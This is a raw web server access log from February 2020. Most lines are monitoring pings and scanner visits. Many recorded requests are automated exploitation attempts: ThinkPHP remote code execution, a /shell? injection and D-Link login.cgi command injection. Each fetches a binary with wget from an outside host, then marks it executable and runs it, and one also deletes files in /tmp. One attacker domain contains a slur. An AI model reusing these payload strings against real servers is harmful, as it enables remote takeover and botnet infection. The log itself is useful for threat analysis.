220.137.135.146 - - [08/Feb/2020:12:12:18 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:12:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.5.248.186 - - [08/Feb/2020:12:12:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.134.162.13 - - [08/Feb/2020:12:12:52 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
18.144.155.185 - - [08/Feb/2020:12:13:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
46.119.171.190 - - [08/Feb/2020:12:13:24 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.119.171.190 - - [08/Feb/2020:12:13:25 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.119.171.190 - - [08/Feb/2020:12:13:25 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
212.91.246.72 - - [08/Feb/2020:12:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.172.55 - - [08/Feb/2020:12:14:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:12:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.188.186 - - [08/Feb/2020:12:17:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.102.221.72 - - [08/Feb/2020:12:18:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:12:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.85.170 - - [08/Feb/2020:12:19:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
43.239.69.154 - - [08/Feb/2020:12:19:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:12:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.89.229.158 - - [08/Feb/2020:12:22:00 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [08/Feb/2020:12:22:10 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [08/Feb/2020:12:22:23 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [08/Feb/2020:12:22:39 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:12:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.89.229.158 - - [08/Feb/2020:12:22:49 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [08/Feb/2020:12:22:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [08/Feb/2020:12:23:07 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [08/Feb/2020:12:23:43 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:12:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.139.149.158 - - [08/Feb/2020:12:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:12:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.89.229.158 - - [08/Feb/2020:12:27:13 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [08/Feb/2020:12:27:42 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:12:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.187.234 - - [08/Feb/2020:12:27:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:12:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.215.137.189 - - [08/Feb/2020:12:30:01 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:12:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.89.244 - - [08/Feb/2020:12:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:12:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.221.164.111 - - [08/Feb/2020:12:32:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:12:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.65.37.161 - - [08/Feb/2020:12:33:22 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
159.65.37.161 - - [08/Feb/2020:12:33:32 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0"
1.55.73.110 - - [08/Feb/2020:12:33:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:12:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.153.82.163 - - [08/Feb/2020:12:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
37.151.86.159 - - [08/Feb/2020:12:34:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.79.78.40 - - [08/Feb/2020:12:35:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [08/Feb/2020:12:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.180.31.164 - - [08/Feb/2020:12:36:55 +0100] "GET /currentconditions/v\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 320 "-" "Karu/2.0"
212.91.246.72 - - [08/Feb/2020:12:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.140.13.182 - - [08/Feb/2020:12:38:13 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
13.57.225.154 - - [08/Feb/2020:12:38:15 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:12:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.235.241.171 - - [08/Feb/2020:12:39:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.198.66.62 - - [08/Feb/2020:12:39:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:12:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.138.251.45 - - [08/Feb/2020:12:41:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:12:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [08/Feb/2020:12:41:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [08/Feb/2020:12:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.123.145 - - [08/Feb/2020:12:42:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:12:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.64.227 - - [08/Feb/2020:12:46:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:12:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.102.125 - - [08/Feb/2020:12:49:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:12:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [08/Feb/2020:12:51:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.23.163.104 - - [08/Feb/2020:12:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
210.100.142.172 - - [08/Feb/2020:12:52:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:12:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [08/Feb/2020:12:54:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
18.144.155.185 - - [08/Feb/2020:12:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:12:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.250.123.62 - - [08/Feb/2020:12:55:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:12:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.52.183.209 - - [08/Feb/2020:12:57:14 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:12:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:12:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.118.123 - - [08/Feb/2020:13:00:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.126.106.51 - - [08/Feb/2020:13:05:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:13:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [08/Feb/2020:13:06:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [08/Feb/2020:13:06:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:13:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [08/Feb/2020:13:06:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [08/Feb/2020:13:06:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
148.71.44.68 - - [08/Feb/2020:13:07:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.7.155.141 - - [08/Feb/2020:13:07:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:13:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.8 - - [08/Feb/2020:13:08:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.235.211.1 - - [08/Feb/2020:13:08:51 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:13:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.233.177 - - [08/Feb/2020:13:12:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.233.177 - - [08/Feb/2020:13:13:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.233.177 - - [08/Feb/2020:13:13:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [08/Feb/2020:13:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.233.177 - - [08/Feb/2020:13:14:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [08/Feb/2020:13:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.233.177 - - [08/Feb/2020:13:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [08/Feb/2020:13:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.207.130 - - [08/Feb/2020:13:15:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:13:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.6.52.53 - - [08/Feb/2020:13:17:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:13:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:13:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.44.16 - - [08/Feb/2020:13:19:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
